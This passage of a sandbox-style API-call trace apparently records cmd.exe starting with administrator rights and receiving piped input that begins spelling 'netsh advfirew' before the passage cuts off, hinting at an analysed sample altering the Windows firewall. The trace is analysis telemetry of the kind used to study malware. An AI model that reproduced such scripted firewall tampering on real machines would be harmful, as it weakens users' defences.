_wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0055.845] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0055.845] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0055.845] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0055.845] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0055.845] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0055.845] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0055.845] GetProcessHeap () returned 0x4c0000 [0055.845] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x5c) returned 0x4db6d0 [0055.845] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2ef5b0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0055.845] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x2ef5b0, lpFilePart=0x2ef590 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2ef590*="Desktop") returned 0x25 [0055.845] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0055.846] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x2ef2c0 | out: lpFindFileData=0x2ef2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x4db740 [0055.846] FindClose (in: hFindFile=0x4db740 | out: hFindFile=0x4db740) returned 1 [0055.846] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x2ef2c0 | out: lpFindFileData=0x2ef2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x4db740 [0055.846] FindClose (in: hFindFile=0x4db740 | out: hFindFile=0x4db740) returned 1 [0055.846] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0055.846] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x2ef2c0 | out: lpFindFileData=0x2ef2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf719b880, ftLastAccessTime.dwHighDateTime=0x1d696fb, ftLastWriteTime.dwLowDateTime=0xf719b880, ftLastWriteTime.dwHighDateTime=0x1d696fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x4db740 [0055.846] FindClose (in: hFindFile=0x4db740 | out: hFindFile=0x4db740) returned 1 [0055.846] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0055.846] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0055.846] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0055.846] GetProcessHeap () returned 0x4c0000 [0055.846] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4dac30 | out: hHeap=0x4c0000) returned 1 [0055.846] GetEnvironmentStringsW () returned 0x4db740* [0055.846] GetProcessHeap () returned 0x4c0000 [0055.846] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0xae8) returned 0x4dc230 [0055.847] FreeEnvironmentStringsW (penv=0x4db740) returned 1 [0055.847] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a37c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0055.847] GetProcessHeap () returned 0x4c0000 [0055.847] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4db6d0 | out: hHeap=0x4c0000) returned 1 [0055.847] GetProcessHeap () returned 0x4c0000 [0055.847] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x4016) returned 0x4dcd20 [0055.847] GetProcessHeap () returned 0x4c0000 [0055.847] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4dcd20 | out: hHeap=0x4c0000) returned 1 [0055.847] GetConsoleOutputCP () returned 0x1b5 [0055.847] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a37bfe0 | out: lpCPInfo=0x4a37bfe0) returned 1 [0055.847] GetUserDefaultLCID () returned 0x409 [0055.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a377b50, cchData=8 | out: lpLCData=":") returned 2 [0055.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2ef6c0, cchData=128 | out: lpLCData="0") returned 2 [0055.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2ef6c0, cchData=128 | out: lpLCData="0") returned 2 [0055.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2ef6c0, cchData=128 | out: lpLCData="1") returned 2 [0055.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a38a740, cchData=8 | out: lpLCData="/") returned 2 [0055.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a38a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0055.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a38a460, cchData=32 | out: lpLCData="Tue") returned 4 [0055.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a38a420, cchData=32 | out: lpLCData="Wed") returned 4 [0055.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a38a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0055.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a38a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0055.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a38a360, cchData=32 | out: lpLCData="Sat") returned 4 [0055.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a38a700, cchData=32 | out: lpLCData="Sun") returned 4 [0055.848] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a377b40, cchData=8 | out: lpLCData=".") returned 2 [0055.848] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a38a4e0, cchData=8 | out: lpLCData=",") returned 2 [0055.848] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0055.849] GetProcessHeap () returned 0x4c0000 [0055.849] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x20c) returned 0x4d95c0 [0055.849] GetConsoleTitleW (in: lpConsoleTitle=0x4d95c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0055.849] _get_osfhandle (_FileHandle=1) returned 0x114 [0055.849] GetFileType (hFile=0x114) returned 0x3 [0055.850] BrandingFormatString () returned 0x4d97e0 [0055.855] GetVersion () returned 0x1db10106 [0055.855] _vsnwprintf (in: _Buffer=0x2ef830, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x2ef7c8 | out: _Buffer="6.1.7601") returned 8 [0055.855] _get_osfhandle (_FileHandle=1) returned 0x114 [0055.855] GetFileType (hFile=0x114) returned 0x3 [0055.855] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a386340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0055.855] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a386340, nSize=0x2000, Arguments=0x2ef7d0 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0055.855] _get_osfhandle (_FileHandle=1) returned 0x114 [0055.855] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a37c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0055.855] WriteFile (in: hFile=0x114, lpBuffer=0x4a37c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesWritten=0x2ef758*=0x24, lpOverlapped=0x0) returned 1 [0055.855] _vsnwprintf (in: _Buffer=0x4a386340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2ef7f8 | out: _Buffer="\r\n") returned 2 [0055.855] _get_osfhandle (_FileHandle=1) returned 0x114 [0055.855] GetFileType (hFile=0x114) returned 0x3 [0055.855] _get_osfhandle (_FileHandle=1) returned 0x114 [0055.855] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a37c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0055.855] WriteFile (in: hFile=0x114, lpBuffer=0x4a37c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2ef7c8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesWritten=0x2ef7c8*=0x2, lpOverlapped=0x0) returned 1 [0055.855] _vsnwprintf (in: _Buffer=0x4a386340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x2ef7f8 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0055.856] _get_osfhandle (_FileHandle=1) returned 0x114 [0055.856] GetFileType (hFile=0x114) returned 0x3 [0055.856] _get_osfhandle (_FileHandle=1) returned 0x114 [0055.856] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a37c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0055.856] WriteFile (in: hFile=0x114, lpBuffer=0x4a37c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x2ef7c8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesWritten=0x2ef7c8*=0x3f, lpOverlapped=0x0) returned 1 [0055.856] _vsnwprintf (in: _Buffer=0x4a386340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2ef7f8 | out: _Buffer="\r\n") returned 2 [0055.856] _get_osfhandle (_FileHandle=1) returned 0x114 [0055.856] GetFileType (hFile=0x114) returned 0x3 [0055.856] _get_osfhandle (_FileHandle=1) returned 0x114 [0055.856] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a37c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0055.856] WriteFile (in: hFile=0x114, lpBuffer=0x4a37c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2ef7c8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesWritten=0x2ef7c8*=0x2, lpOverlapped=0x0) returned 1 [0055.856] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0055.857] GetProcAddress (hModule=0x77940000, lpProcName="CopyFileExW") returned 0x779523d0 [0055.857] GetProcAddress (hModule=0x77940000, lpProcName="IsDebuggerPresent") returned 0x77948290 [0055.857] GetProcAddress (hModule=0x77940000, lpProcName="SetConsoleInputExeNameW") returned 0x779517e0 [0055.857] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.857] GetFileType (hFile=0x108) returned 0x3 [0055.857] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0055.857] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x2ef620 | out: TokenHandle=0x2ef620*=0x0) returned 0xc000007c [0055.858] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x2ef620 | out: TokenHandle=0x2ef620*=0x50) returned 0x0 [0055.858] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x2ef630, TokenInformationLength=0x4, ReturnLength=0x2ef638 | out: TokenInformation=0x2ef630, ReturnLength=0x2ef638) returned 0x0 [0055.858] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x2ef638, TokenInformationLength=0x4, ReturnLength=0x2ef630 | out: TokenInformation=0x2ef638, ReturnLength=0x2ef630) returned 0x0 [0055.858] NtClose (Handle=0x50) returned 0x0 [0055.858] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x2ef600, nSize=0x0, Arguments=0x2ef608 | out: lpBuffer="韠M") returned 0xf [0055.858] GetProcessHeap () returned 0x4c0000 [0055.858] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x218) returned 0x4c1ab0 [0055.858] GetConsoleTitleW (in: lpConsoleTitle=0x2ef650, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0055.858] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0055.858] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0055.859] GetProcessHeap () returned 0x4c0000 [0055.859] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4c1ab0 | out: hHeap=0x4c0000) returned 1 [0055.859] LocalFree (hMem=0x4d97e0) returned 0x0 [0055.859] GetProcessHeap () returned 0x4c0000 [0055.859] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4daa10 | out: hHeap=0x4c0000) returned 1 [0055.859] _vsnwprintf (in: _Buffer=0x4a386340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2ef338 | out: _Buffer="\r\n") returned 2 [0055.860] _get_osfhandle (_FileHandle=1) returned 0x114 [0055.860] GetFileType (hFile=0x114) returned 0x3 [0055.860] _get_osfhandle (_FileHandle=1) returned 0x114 [0055.860] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a37c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0055.860] WriteFile (in: hFile=0x114, lpBuffer=0x4a37c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2ef308, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesWritten=0x2ef308*=0x2, lpOverlapped=0x0) returned 1 [0055.860] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a36f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0055.860] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a37c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0055.860] _vsnwprintf (in: _Buffer=0x4a36eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2ef348 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0055.860] _vsnwprintf (in: _Buffer=0x4a36ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2ef348 | out: _Buffer=">") returned 1 [0055.860] _get_osfhandle (_FileHandle=1) returned 0x114 [0055.860] GetFileType (hFile=0x114) returned 0x3 [0055.860] _get_osfhandle (_FileHandle=1) returned 0x114 [0055.860] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a37c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0055.860] WriteFile (in: hFile=0x114, lpBuffer=0x4a37c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2ef338, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesWritten=0x2ef338*=0x26, lpOverlapped=0x0) returned 1 [0055.860] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.860] GetFileType (hFile=0x108) returned 0x3 [0055.860] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.860] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.860] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.861] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e320, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0055.861] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.861] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.861] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.861] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e322, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0055.861] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.861] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.862] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.862] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e324, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0055.862] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.862] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.862] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.862] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e326, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0055.862] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.862] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.862] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.862] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e328, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0055.862] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.862] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.862] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.862] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e32a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0055.862] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.862] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.862] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.862] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e32c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0055.862] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.862] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.862] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.862] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e32e, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0055.862] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.862] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.862] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.862] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e330, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0055.862] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.862] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.863] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.863] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e332, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0055.863] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.863] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.863] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.863] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e334, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0055.863] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.863] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.863] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.863] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e336, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0055.863] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.863] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.863] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.863] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e338, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0055.863] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.863] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.863] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x2ef638*=0x1, lpOverlapped=0x0) returned 1 [0055.863] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e33a, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0055.863] _get_osfhandle (_FileHandle=0) returned 0x108 [0055.863] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.863] ReadFile (in: hFile=0x108, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef638, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, 